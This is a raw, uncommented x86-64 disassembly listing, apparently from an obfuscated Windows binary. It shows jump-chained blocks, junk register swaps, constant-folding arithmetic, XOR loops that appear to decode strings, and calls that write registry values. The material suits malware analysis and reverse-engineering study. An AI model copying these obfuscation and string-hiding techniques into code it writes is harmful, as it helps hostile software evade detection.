pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
mov dword [rsp - 0x40], 0x3e5b219e
jmp 0x1400285e5
mov eax, 0x3de2d9b3
add eax, 0xf3b5b48
sub eax, 0x30814231
add eax, 0x53d9f453
sub eax, 0x51111c4a
add eax, 0x3164e438
jmp 0x140029181
movdqa xmmword [r15 + 0x30], xmm0
xchg r15, rsp
mov edx, dword [rsp + 0x30]
mov dword [rsp - 0x20], esi
movd xmm6, r14d
movd xmm8, r15d
nop word [rax + rax]
jmp 0x140028d9a
movups xmmword [rcx + 0x50], xmm1
xchg rsp, rcx
cmp edi, 2
jl 0x1400290f0
xchg rbx, rbx
jmp 0x1400291cc
shr eax, 5
shr eax, 0xb
shr eax, 4
shr eax, 2
shr eax, 1
jmp 0x140028f81
xchg rcx, rcx
xchg rbx, rax
mov qword [rsp + 0x20], rbx
xchg rbx, rax
xor r8d, r8d
jmp 0x140028b38
movdqa xmm0, xmmword [str.1111111111111111_t]
lea rcx, [rsp + 0x44]
movdqa xmm5, xmmword [0x140119390]
mov r13, r13
movdqa xmm4, xmmword [0x14011a4f0]
movdqa xmm7, xmmword [str.1111]
movdqa xmmword [rsp + 0x30], xmm0
jmp 0x140028b74
movdqa xmm1, xmm2
xchg rsi, rsi
pshufd xmm3, xmm3, 0
jmp 0x140028cf2
sub eax, 0x690798ea
sub ax, dx
movzx eax, ax
imul ecx, eax, 0x31
mov dword [rsp - 0x1c], 0x7533b081
jmp 0x140028f50
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
xchg r13, r13
movq xmm2, xmm9
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 0x10]
jmp 0x140028373
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movd dword [rcx - 8], xmm2
jmp 0x140028341
add eax, 0x43ed0014
xor eax, 0x6cd0f1a3
xor eax, 0x7c57a439
xor eax, 0x33b8eff6
lea r9, [r9 + 2]
imul r8d
sar edx, 4
jmp 0x140028d8d
add eax, 0x428e2a7f
sub eax, 0x26157866
xor eax, 0x1efa24a0
xor eax, 0x3f7f386
sub eax, 0x2dd99fd8
jmp 0x140028931
call fcn.1400f0ab0
mov eax, dword [0x140119cb8]
mov r8d, ebx
xchg r13, r13
mov dword [rsp + 0x60], eax
jmp 0x140028d56
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
mov dword [rsp - 0xc], esi
pshuflw xmm0, xmm2, 0xd8
jmp 0x140028608
movd xmm6, r14d
movd xmm8, r15d
mov dword [rsp - 0x28], 0xf9e1b66
nop word [rax + rax]
jmp 0x140028c8a
nop
mov r14, qword [rsp]
add rsp, 8
pop rbp
mov dword [rsp - 0x2c], 0x33f61a75
ret
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
mov dword [rsp - 0x44], 0x1ec526ce
shufps xmm1, xmm0, 0xdd
jmp 0x140028fde
xchg rbp, rbp
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
mov dword [rsp - 0x20], esp
pand xmm2, xmmword [0x1401193d0]
jmp 0x140029052
pxor xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x30
mov dword [rsp - 0x28], edi
jmp 0x1400289d2
movups xmmword [rdx - 0x60], xmm0
xchg rcx, r13
movups xmm0, xmmword [r13 + 0x40]
xchg rcx, r13
xchg r15, rdx
movups xmmword [r15 - 0x50], xmm1
jmp 0x140028b9f
sub sil, 0x5b
mov rcx, qword [rbp - 0x10]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xchg r10, rsp
jmp 0x140028ffc
lea rcx, [rsp + 0x44]
movdqa xmm5, xmmword [0x140119390]
xchg rbp, rbp
jmp 0x140028952
movups xmmword [r8 - 0x30], xmm1
xchg r8, rdx
xchg rbp, rcx
jmp 0x1400283a1
xor eax, 0x5b17db52
add eax, 0x385d4300
sub eax, 0x3e697780
sub al, dl
movsx eax, al
mov dword [rsp - 0x3c], ebx
imul ecx, eax, 0x31
jmp 0x1400288d2
add cl, r8b
inc r8d
xchg rbp, rbp
xor byte [r9 - 1], cl
cmp r8d, 0x35
jmp 0x1400281a7
pxor xmm2, xmm0
movdqa xmm0, xmm3
xchg r15, r15
jmp 0x1400287ff
movd xmm6, r14d
movd xmm8, r15d
movd xmm2, r8d
xchg rdi, rdi
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
jmp 0x140028220
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
mov r13, r13
jmp 0x140028ee5
sub al, dl
movsx eax, al
imul ecx, eax, 0x31
jmp 0x14002829c
xchg r13, r13
mov dword [rsp + 0x28], r14d
lea rdx, [rbp]
mov r9d, r14d
jmp 0x1400286b3
movdqa xmm4, xmmword [0x14011a4f0]
movdqa xmm7, xmmword [str.1111]
xchg r15, rsp
jmp 0x14002865d
lea r11, [rsp + 0x160]
xchg r12, r12
mov rbx, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
xchg r12, r11
movaps xmm6, xmmword [r12 - 0x10]
jmp 0x140028445
shr edx, 2
shr edx, 1
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
mov dword [rsp - 0x40], 0x6d8c1476
inc r8d
jmp 0x1400285d4
mov eax, 0x27a71bfd
xor eax, 0x4794ee4a
xor eax, 0x76b8aeb6
sub eax, 0xcaf5696
add eax, 0x2a250c1
add eax, 0x4510790f
add eax, 0x27d7791c
jmp 0x140028b54
jl 0x140028d9a
cmp r8d, 0x35
jge 0x1400281b0
jmp 0x140028a3c
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
mov dword [rsp - 0x18], 0x77edaa8c
movd xmm0, dword [rcx - 0xc]
pxor xmm2, xmm0
jmp 0x140028c70
mov dword [rsp - 0x24], 0x21f99232
shr eax, 0x10
shr eax, 3
shr eax, 1
shr eax, 7
jmp 0x140028c41
add r8d, 8
pmuldq xmm1, xmm4
mov dword [rsp - 0x1c], ebp
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
jmp 0x1400290a1
mov dword [rsp - 0x14], 0x6379024b
movsxd rax, r8d
lea r9, [rsp + 0x40]
add r9, rax
mov dword [rsp - 0x1c], esp
nop dword [rax]
jmp 0x1400283be
movzx eax, word [0x140119c5c]
mov word [rsp + 0x74], ax
mov rbp, rbp
movups xmm0, xmmword [0x140119c28]
movups xmm1, xmmword [0x140119c38]
jmp 0x1400282e1
xchg rdx, rsp
movdqa xmmword [rdx + 0x30], xmm0
xchg rsp, rdx
mov edx, dword [rsp + 0x30]
mov dword [rsp - 0x20], 0x300a3515
jmp 0x1400288f8
cmp ebx, 0xad
mov dword [rsp - 0x30], ecx
jl 0x140028c23
lea rcx, [rsp + 0x40]
call fcn.1400b10a0
mov dword [rsp - 0x34], ebx
jmp 0x1400285c3
xchg r10, r10
sar edx, 3
sar edx, 1
mov eax, edx
jmp 0x140028dca
cmp r8d, 0x20
mov dword [rsp - 0x2c], ebx
jl 0x140028902
cmp r8d, 0x26
jge 0x140028fa4
jmp 0x1400290ed
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movd dword [rcx - 8], xmm2
jmp 0x140028acc
movups xmmword [r15 + 0x10], xmm0
xchg r15, rdx
mov qword [rdx + 0x20], rax
mov eax, dword [rcx + 0xa8]
mov dword [rdx + 0x28], eax
jmp 0x140028535
mov dword [rsp - 0x34], 0x5279a641
cmp r8d, 0x1b
jge 0x1400285a5
movsxd rax, r8d
xchg rcx, rcx
lea r9, [rsp + 0x40]
jmp 0x140028d0a
xchg rdx, rdx
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x1400285af
mov eax, dword [0x140119c58]
jmp 0x140029022
sub eax, 0x25cec4ba
lea r9, [r9 + 1]
mov dword [rsp - 0x18], 0x3181f555
imul r8d
sar edx, 3
sar edx, 1
mov eax, edx
jmp 0x140028a0a
mov dword [rsp - 0x14], 0x2c51ec2f
mov edx, dword [rsp + 0x30]
movd xmm6, r14d
movd xmm8, r15d
jmp 0x140028558
movaps xmm8, xmmword [rsi - 0x30]
xchg r11, rsi
xchg r11, rsp
jmp 0x1400281cb
xchg rdx, r15
xchg rcx, r10
movups xmm1, xmmword [r10 + 0x50]
xchg r10, rcx
jmp 0x140028bc6
sub eax, 0x1e754e86
sub eax, 0x2a09a36c
sub eax, 0x4f679a2
jmp 0x140028759
xchg rdx, r15
movups xmmword [r15 - 0x40], xmm0
xchg r15, rdx
movups xmm0, xmmword [rcx + 0x60]
xchg r8, rdx
jmp 0x1400288a2
mov dword [rsp - 0xc], ecx
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
mov r9, r9
jmp 0x14002861f
xchg rsi, rsi
jge 0x140028aaa
movsxd rax, ebx
jmp 0x140028585
mov r12, qword [rcx + 0xa0]
xchg r12, rax
lea rdx, [rsp + 0x40]
xchg rsp, rsp
lea rdx, [rdx + 0x80]
jmp 0x1400284b3
mov eax, 0x6905058
xor eax, 0x475bd9ba
sub eax, 0x2148e35a
xor eax, 0xaca716e
xor eax, 0x7fe9626b
jmp 0x140028d3c
shr eax, 1
shr eax, 1
shr eax, 1
jmp 0x140028db9
pmulld xmm0, xmm7
psubd xmm3, xmm0
mov dword [rsp - 0x24], 0x57c4c8c0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
jmp 0x140028df3
movdqa xmm0, xmm3
mov rsi, rsi
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
jmp 0x14002841a
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
mov dword [rsp - 0x1c], edi
lea rcx, [rcx + 0x10]
paddd xmm2, xmm5
jmp 0x140028407
pshuflw xmm0, xmm3, 0xd8
xchg rdx, rdx
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
xchg r14, r14
pand xmm2, xmmword [0x1401193d0]
jmp 0x1400284ca
pxor xmm3, xmm0
movq qword [rcx - 0x10], xmm3
xchg r14, r14
jmp 0x1400281e0
pshufd xmm3, xmm3, 0
mov dword [rsp - 0x28], esp
punpckldq xmm1, xmm2
jmp 0x14002845b
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
mov rbp, rbp
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
jmp 0x140029084
lea r9, [r9 + rax*2]
nop
mov dword [rsp - 0x20], 0x44afbd8a
mov eax, 0x13dc4598
add eax, 0x66545ed9
jmp 0x140028bb2
mov r10, r10
call fcn.1400f0ab0
lea rcx, [0x140119cc0]
xchg r12, rax
jmp 0x140028c06
xor eax, 0x4cead049
add eax, 0x77c9606
xor eax, 0x73507957
lea r8, [r8 + 1]
imul ebx
jmp 0x140028abd
movzx eax, word [0x140119cbc]
mov word [rsp + 0x64], ax
xchg r10, r10
movups xmm0, xmmword [str.SQWQQ_C]
movups xmm1, xmmword [0x140119ca8]
jmp 0x140028f6e
psrad xmm1, xmm6
xchg rcx, rcx
movdqa xmm0, xmm1
psrld xmm0, xmm8
jmp 0x1400284f7
mov r15, r15
mov eax, edx
shr eax, 8
jmp 0x1400286a0
movd xmm2, r8d
mov dword [rsp - 0x3c], 0x353308eb
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
jmp 0x14002919c
shr eax, 1
add edx, eax
mov rcx, rcx
mov eax, 0x145b96e6
jmp 0x14002877c
shr eax, 0xc
shr eax, 0x11
shr eax, 1
shr eax, 1
jmp 0x140028234
psrad xmm1, xmm6
movdqa xmm0, xmm1
mov dword [rsp - 0x40], 0x34d7baa0
psrld xmm0, xmm8
jmp 0x1400287b4
mov dword [rsp - 0x38], 0x4a9c1b07
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401193d0]
packuswb xmm2, xmm2
xchg r15, r15
paddb xmm2, xmm0
jmp 0x140028746
sub eax, 0x706afbf1
sub al, dl
mov dword [rsp - 0x10], 0x453596e1
jmp 0x1400282c6
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
mov dword [rsp - 0x1c], ebx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
jmp 0x1400288e8
sub r8d, 0x7d701ba6
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
xchg r8, r8
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
jmp 0x1400284da
mov dword [rsp - 0x44], 0x3a41b9f5
jl 0x140028b28
movdqa xmm5, xmmword [0x140119390]
lea rcx, [rsp + 0x40]
movdqa xmm4, xmmword [0x14011a4f0]
jmp 0x140028fae
xchg rsp, r10
movups xmm0, xmmword [0x140119c80]
xchg r15, r15
xchg rdi, rsp
movups xmmword [rdi + 0x50], xmm1
xchg rsp, rdi
xchg rsp, rsi
jmp 0x140028f09
mov dword [rsp - 0x28], ebp
movdqa xmm4, xmmword [0x14011a4f0]
movdqa xmm7, xmmword [str.1111]
jmp 0x140028a7e
movups xmm0, xmmword [r8 + 0x70]
xchg r8, rcx
xchg r15, rdx
movups xmmword [r15 - 0x10], xmm0
jmp 0x140029032
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
mov dword [rsp - 0x34], ecx
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
jmp 0x14002910f
movups xmmword [rsi + 0x60], xmm0
xchg rsi, rsp
cmp edi, 2
jmp 0x14002842f
xchg rbx, rsi
je 0x1400285c3
mov rdi, rdi
mov eax, dword [str._a_4]
jmp 0x14002825c
movd xmm2, ebx
lea eax, [rbx + 4]
pshufd xmm2, xmm2, 0
mov dword [rsp - 0x30], esi
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
jmp 0x1400286fa
add cx, r8w
inc r8d
xor word [r9 - 2], cx
cmp r8d, 0x1b
xchg rsi, rsi
jl 0x140028d17
jmp 0x1400285a5
xchg r14, rsp
movups xmmword [r14 + 0x40], xmm0
xchg r14, rsp
xchg rcx, rsp
jmp 0x140028688
add edx, eax
mov eax, 0x6dfc2f4b
sub eax, 0x47f8e5ae
add eax, 0x2a16f44c
jmp 0x14002856c
xchg rbp, rbp
cmp r8d, 0x26
jl 0x1400289aa
lea rcx, [rsp + 0x40]
jmp 0x140028d26
mov dword [rsp - 0x28], 0x33472f1e
movdqa xmm7, xmmword [str.1111]
movdqa xmm9, xmmword [0x1401193c0]
jmp 0x1400287cf
shr eax, 0xb
shr eax, 3
shr eax, 6
shr eax, 1
shr eax, 1
jmp 0x14002915e
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
mov dword [rsp - 0x14], 0x673b3966
paddd xmm0, xmm1
jmp 0x140028c4c
movaps xmm9, xmmword [r10 + 0x120]
xchg r10, rsp
test sil, sil
mov dword [rsp - 0x18], 0xe5a1d9c
xchg rbx, rsi
mov rbx, qword [rsp + 0x180]
jmp 0x140028f18
mov dword [rsp - 0x30], esp
mov r8d, ebx
mov dword [rsp + 0x70], eax
jmp 0x140028a5c
xchg r15, rdx
xchg r14, rcx
movups xmm0, xmmword [r14 + 0x90]
xchg rcx, r14
movups xmmword [rdx], xmm1
mov dword [rsp - 0x28], ecx
xchg rdx, r15
jmp 0x140028afc
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
xchg rbx, rbx
jmp 0x1400289e7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
mov dword [rsp - 0x24], esp
paddd xmm3, xmm5
pmuldq xmm0, xmm4
nop
add r8d, 0x7d701bae
jmp 0x140028e4b
pmuldq xmm0, xmm4
mov r10, r10
neg ebx
add ebx, 0xfffffff8
neg ebx
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
jmp 0x140028d78
movdqa xmm0, xmm1
xchg rdx, rdx
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
jmp 0x14002881e
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1401193d0]
mov dword [rsp - 0x3c], ebx
packuswb xmm2, xmm2
jmp 0x140028e2c
mov rbx, qword [rbp - 0x10]
xchg rcx, rbx
lea rax, [rbp - 8]
jmp 0x14002893e
mov r9, r9
movsxd rax, r8d
lea r9, [rsp + 0x40]
add r9, rax
nop dword [rax]
mov rbx, rbx
nop dword [rax + rax]
jmp 0x1400289aa
pshufd xmm2, xmm1, 0xd8
mov dword [rsp - 0x40], 0xcbe3bd0
pand xmm2, xmmword [0x1401193d0]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xchg rbx, rbx
jmp 0x140028845
movups xmm0, xmmword [rsi + 0x20]
xchg rcx, rsi
xchg rdx, rbp
jmp 0x14002835b
xchg r13, rcx
xchg rdx, r15
movups xmmword [r15 - 0x80], xmm0
xchg rdx, r15
xchg rcx, rsi
jmp 0x140029139
add edx, eax
mov r10, r10
mov eax, 0x25f4a243
add eax, 0x2f976f04
sub eax, 0x315e8ae6
add eax, 0x447b302a
xor eax, 0x35b35958
jmp 0x1400288b2
sub eax, 0x4f2b3f5d
add eax, 0x51f812ef
lea r9, [r9 + 1]
mov r10, r10
mul r8d
shr edx, 1
jmp 0x14002898b
mov r8, r8
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
mov rcx, rcx
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
jmp 0x140029062
xchg r9, r9
xchg r10, rsp
movups xmmword [r10 + 0x40], xmm0
jmp 0x140028e98
movdqa xmm0, xmmword [str.1111111111111111_t]
lea rcx, [rsp + 0x44]
movdqa xmm5, xmmword [0x140119390]
jmp 0x140028eb7
add sil, 0x12
xor sil, 0x39
sub sil, 4
sub sil, 0x13
jmp 0x140028877